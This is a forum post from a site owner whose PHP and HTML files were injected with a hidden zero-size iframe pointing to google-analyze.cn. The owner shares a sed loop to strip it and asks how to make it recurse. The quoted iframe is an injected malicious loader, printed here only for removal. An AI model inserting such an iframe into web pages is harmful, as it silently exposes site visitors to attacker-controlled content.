here's the case :
almost of php/html file on my site has added the text :
Code:
<iframe src="http://google-analyze.cn/count.php?o=1" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
I don't know how this happen, so i want to remove above text from all of my php/html.
i have tried this following script :
Code:
for y in *
do
sed 's_<iframe src="http:\/\/google-analyze.cn\/count.php?o=1" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></\iframe>_ _' "$y" >temp
if cmp temp "$y" >/dev/null
then
rm temp
else
mv temp "$y"
fi
done
Above script was works but only in the directory where i run the script, i want all files in subdirectory too, anyone can help me?
Thx